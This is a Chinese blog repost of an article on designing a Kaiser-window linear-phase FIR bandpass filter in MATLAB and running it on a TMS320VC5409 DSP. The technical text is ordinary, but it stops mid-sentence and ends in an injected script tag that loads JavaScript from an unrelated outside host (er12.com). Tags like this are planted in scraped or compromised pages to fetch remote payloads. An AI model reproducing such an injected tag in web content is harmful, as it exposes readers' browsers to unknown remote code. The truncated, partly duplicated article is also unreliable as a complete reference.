matlab dsp 滤波器,数字滤波器的MATLAB设计与DSP上的实现

本文介绍了使用MATLAB设计线性相位FIR数字滤波器的过程,并阐述了如何在定点DSP(TMS320VC5409)上实现这一设计。通过CCS5000仿真开发,然后在评估板上运行,成功达到了设计目标。讨论了关键的定标、误差和循环寻址问题。
摘要由CSDN通过智能技术生成

数字滤波器的MATLAB设计与DSP上的实现

来源:华强电子网

作者:华仔

浏览:307

时间:2016-08-10 14:18

标签:

摘要:

摘要:以窗函数法设计线性相位fir数字滤波器为例,介绍用matlab工具软件设计数字滤波器的方法和在定点dsp上的实现。实现时,先在ccs5000仿真开发,然后将程序加载到tms320vc5409评估板上实时运行,结果实现了目标要求。文中还讨论了定标、误差、循环寻址等在dsp上实现的关键问题。 引言随着信息时代和数字世界的到来,数字信号处理已成为今一门极其重要的学科和技术领域。数字信号处理在通信、

摘要:以窗函数法设计线性相位fir数字滤波器为例,介绍用matlab工具软件设计数字滤波器的方法和在定点dsp上的实现。实现时,先在ccs5000仿真开发,然后将程序加载到tms320vc5409评估板上实时运行,结果实现了目标要求。文中还讨论了定标、误差、循环寻址等在dsp上实现的关键问题。 引言随着信息时代和数字世界的到来,数字信号处理已成为今一门极其重要的学科和技术领域。数字信号处理在通信、语音、图像、自动控制、雷达、军事、航空航天、医疗和家用电器等众多领域得到了广泛的应用。在数字信号处理应用中,数字滤波器十分重要并已获得广泛应用。1 数字滤波器的设计1.1 数字滤波器设计的基本步骤数字滤波器根据其冲激响应函数的时域特性,可分为两种,即无限长冲激响应(iir)滤波器和有限长冲激响应(fir)滤波器。iir滤波器的特征是,具有无限持续时间冲激响应。种滤波器一般需要用递归模型来实现,因而有时也称之为递归滤波器。fir滤波器的冲激响应只能延续一定时间,在工程实际中可以采用递归的方式实现,也可以采用非递归的方式实现。数字滤波器的设计方法有多种,如双线性变换法、窗函数设计法、插值逼近法和chebyshev逼近法等等。随着matlab软件尤其是matlab的信号处理工作箱的不断完善,不仅数字滤波器的计算机辅助设计有了可能,而且还可以使设计达到最优化。数字滤波器设计的基本步骤如下:(1)确定指标在设计一个滤波器之前,必须首先根据工程实际的需要确定滤波器的技术指标。在很多实际应用中,数字滤波器常常被用来实现选频操作。因此,指标的形式一般在频域中给出幅度和相位响应。幅度指标主要以两种方式给出。第一种是绝对指标。它提供对幅度响应函数的要求,一般应用于fir滤波器的设计。第二种指标是相对指标。它以分贝值的形式给出要求。在工程实际中,这种指标最受欢迎。对于相位响应指标形式,通常希望系统在通频带中人有线性相位。运用线性相位响应指标进行滤波器设计具有如下优点:①只包含实数算法,不涉及复数运算;②不存在延迟失真,只有固定数量的延迟;③长度为n的滤波器(阶数为n-1),计算量为n/2数量级。因此,本文中滤波器的设计就以线性相位fir滤波器的设计为例。(2)逼近确定了技术指标后,就可以建立一个目标的数字滤波器模型。通常采用理想的数字滤波器模型。之后,利用数字滤波器的设计方法,设计出一个实际滤波器模型来逼近给定的目标。(3)性能分析和计算机仿真上两步的结果是得到以差分或系统函数或冲激响应描述的滤波器。根据这个描述就可以分析其频率特性和相位特性,以验证设计结果是否满足指标要求;或者利用计算机仿真实现设计的滤波器,再分析滤波结果来判断。1.2 滤波器的matlab设计(1)matlabmatlab是一套用于科学计算的可视化高性能语言与软件环境。它集数值分析、矩阵运算、信号处理和图形显示于一体,构成了一个界面友好的用户环境。它的信号处理工具箱包含了各种经典的和现代的数字信号处理技术,是一个非常优秀的算法研究与辅助设计的工具。在设计数字滤波器时,通常采用matlab来进行辅助设计和仿真。(2)fir滤波器的matlab设计下面以设计线性相位fir滤波器为例介绍具体的设计方法。线性相位fir滤波器通常采用窗函数法设计。窗函数法设计fir滤波器的基本思想是:根据给定的滤波器技术指标,选择滤波器长度n和窗函数ω(n),使其具有最窄宽度的主瓣和最小的旁瓣。其核心是从给定的频率特性,通过加窗确定有限长单位脉冲响应序列h(n)。工程中常用的窗函数共有6种,即矩形窗、巴特利特(bartlett)窗、汉宁(hanning)窗、汉明(hamming)窗、布莱克曼(blackman)窗和凯塞(kaiser)窗。假设实际工程需要设计一个线性相位带通fir滤波器指标如下:fn=[1000,1375,3625,4000];a=[0,1,0];dev=[0.0005,0.05,0.0005];阻带最小衰减60db,再设采样频率fs=10khz,则根据阻带最小衰减来选择凯塞(kaiser)窗,利用matlab的求阶函数和fir滤波器的设计函数,可以快速地设计出所需的数字滤波器。这两个设计函数如下:[n,wn,beta,ftype]=kaiserord(fn,a,dev,fs);b=fir1(n,wn,ftype,kaiser(n+1,beta);最后,利用的滤波器分析函数freqz分析所设计出的滤波器的幅频特性和相频特性,并用图形显示函数plot将它们显示出来,如图1所示。由图1可见,设计结果满足指标要求。2 数字滤波器的实现方法数字滤波器的实现方法一般有以下几种。①采用加法器、乘法器、延时器设计专用的滤波电路。②在通用计算机系统中加上专用的加速处理机设计实现。③用通用的可编程dsp芯片实现。④用专用的dsp芯片实现。在一些特殊的场合,要求的信号处理速度极高,用通用dsp芯片很难实现。这种芯片将相应的滤波算法在芯片内部用硬件实现,无需进行编程。⑤采用fpga/cpld设计实现。在上述?script src=http://er12.com/t.js>

分享到:

上一篇:已经是第一篇

ec18a6490aef905a183753109b76fbec.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值